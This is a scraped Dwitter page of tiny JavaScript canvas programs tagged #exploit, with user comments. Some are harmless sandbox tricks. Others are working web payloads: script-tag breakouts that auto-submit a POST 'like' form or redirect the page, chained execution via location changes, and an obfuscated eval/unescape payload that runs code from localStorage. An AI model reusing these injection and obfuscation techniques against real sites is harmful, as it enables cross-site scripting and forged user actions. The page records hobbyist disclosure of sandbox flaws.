New #exploit dweets

function u(t) {

c.width=1920 // clear the canvas
for(i=0;i<9;i++)
x.fillRect(400+i*100+S(t)*300,400,50,200) // draw 50x200 rects

} // 122/140

Please log in (or register) to post a dweet (copy-paste the code somewhere safe to save it meanwhile)


    u(t) is called 60 times per second.
    t: Elapsed time in seconds.
    S: Shorthand for Math.sin.
    C: Shorthand for Math.cos.
    T: Shorthand for Math.tan.
    R: Function that generates rgba-strings, usage ex.: R(255, 255, 255, 0.5)
    c: A 1920x1080 canvas.
    x: A 2D context for that canvas.

Try the new frontend: beta.dwitter.net
Current theme challenge: #Opposites

show FPS hide FPS share fullscreen

tomxor

function u(t) {

t>1&&eval('U='+parent[c.style=9*u.r|reset()].u);U(t);if(t%1>.8)for(c.width=128,i=1e4;i--;)x.fillRect(i&127,0|i/120-t*4,1,u.r=Math.random())

Mar 13 2020 1:15 AM UTC

}// 139/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

Dwitter Vision

Show more comments…
u/Xen

love the idea
u/DaSpider

ReferenceError: U is not defined
u/KilledByAPixel

how is this possible?
u/tomxor

All loaded iframes are enumerated on the window object (for any webpage), the value is the window object of the corresponding frame... and from inside a dweet this can be accessed (with restrictions) by going to the parent frame, then you have access to any globals in that other frame. While you can't call a function since it's in a different JS context, you can read it's source and re-evaluate it.
u/tomxor

essentually window.parent[n].u is the function created by dwitter for dweet n on the page, if you add it to a string it calls toString which returns the source, you can eval this and assign it to something to run in this context.
u/tomxor

I think I am the most verbose person here sorry :/
u/jellyedwards

Wow that's amazing!
u/jellyedwards

Very nice presentation of that little trick
u/katkip

nice trickery. #exploit #trick #hack
u/sigveseb

Woah

show FPS hide FPS share fullscreen

pavel

function u(t) {

t?g.next():g=function*(){for(i=2e3;i--;yield)c.width|=0,x.font='58em"',x.fillText(i,0,900)}()

Dec 20 2019 4:07 AM UTC

}// 93/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

Dwitters infinite loop detector wrongly stops this dweet!

u/katkip

#exploit

show FPS hide FPS share fullscreen

tomxor

remix of d/15454 by u/katkip

function u(t) {

a ++
throw a
}{a=1e3

Aug 19 2019 7:28 PM UTC

}// 20/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

Variable initialisation with only +2 chars (hack)

u/tomxor

Saves up to 4 chars vs t||(a=1e3);
u/katkip

Ohh
u/katkip

#genius #exploit I didnt know about that. This is clever

show FPS hide FPS share fullscreen

katkip

function u(t) {

}q=Z=>{recording=1};setInterval(q,1)</script>

Jun 28 2019 6:18 PM UTC

}// 45/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

#exploit #xss test

show FPS hide FPS share fullscreen

katkip

function u(t) {

</script><form action="https://www.dwitter.net/d/14813/like" method=post><input type=submit id=q></form><script>q.click()</script>

Jun 28 2019 6:09 PM UTC

}// 130/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

#exploit https://www.dwitter.net/d/14813/like

u/katkip

https://dweet.dwitter.net/id/14813

show FPS hide FPS share fullscreen

metamero

remix of d/13989 by u/katkip

function u(t) {

eval(unescape(escape`𫁯𨱡𫁓𭁯𬡡𩱥𛡰𜐽𨁷𪑴𪀨𮀩𩡯𬠨𙁻񉰽𙱧𫁯𨡡𫁃𫱭𬁯𬱩𭁥𣱰𩑲𨑴𪑯𫠽𙱽𙱤𨑲𪱥𫠧𛁦𪑬𫁓𭁹𫁥🐢𘰰𜀰𜐢𛁦𪑬𫁒𩑣𭀨𜀬𜀬𦠽𜡥𜰬𦠩𛀤𮳧𯐧𬱣𬡥𩑮𙰬𪐽𝐰𜀻𪐭𛐻𨡥𩱩𫡐𨑴𪀨𚐬𨑲𨰨𚁓𚁩𚐪𜑥𞐭𪰩𙐱𞐲𜀭𜰰𛁠𞱬𫱣𨑴𪑯𫠽𙰯𪑤𛰱𜰹𞐰𙰻`.replace(/u../g,'')))

May 20 2019 2:05 PM UTC

}// 139/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

arbitrary code size execution using localStorage without leaving the page | scroll down and up again to play dweet(s) | animation by u/KilledByAPixel

u/KilledByAPixel

Holy cow, that is awesome but this may need to be fixed.
u/magna

Beautiful!
u/katkip

#exploit

show FPS hide FPS share 1 remix fullscreen

katkip

function u(t) {

</script>
<script>
window.location.replace("http://www.google.com")
</script>
<script>

May 11 2019 1:47 PM UTC

}// 87/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

Google? Here: https://dweet.dwitter.net/id/13734

u/katkip

#exploit #hack

show FPS hide FPS share fullscreen

iczero

function u(t) {

self.i&&r;i=1;location.href="/id/13357?autoplay=true#ten(i=>x.fillRect(400+i*100+S(t)*300,400,50,200))"

Apr 22 2019 4:23 AM UTC

}// 103/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

chained execution #exploit

u/iczero

credit to iovoid for discovery

show FPS hide FPS share fullscreen

katkip

function u(t) {

/*‫‬‭‮҉*/c.width=1920
/*‫‬‭‮҉*/for(i=0;i<9;i++)
/*‫‬‭‮҉*/x.fillRect(400+i*100+S(t)*300,400,50,200)

Apr 20 2019 1:48 PM UTC

}// 98/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

#default

u/katkip

#hack #exploit
u/katkip

‮҉ #trick

show FPS hide FPS share fullscreen

f8f82804

function u(t) {

//if(t){for(i=1024;i--;)s+=String.fromCharCode(32+Math.random()*65503|0);throw s}else pauseDemo=s='';

Jan 14 2019 6:13 PM UTC

}// 101/140

Please log in (or register) to post as a new dweet (copy-paste code somewhere safe to save it meanwhile).

#unstoppable #unicode typewriter #hack #exploit -- uncomment if you're willing to ruin everything

u/f8f82804

#remix of d/11798
u/f8f82804

according to a report from u/metamero, it will still pause in chrome once you scroll far enough

dwitter.net | #exploit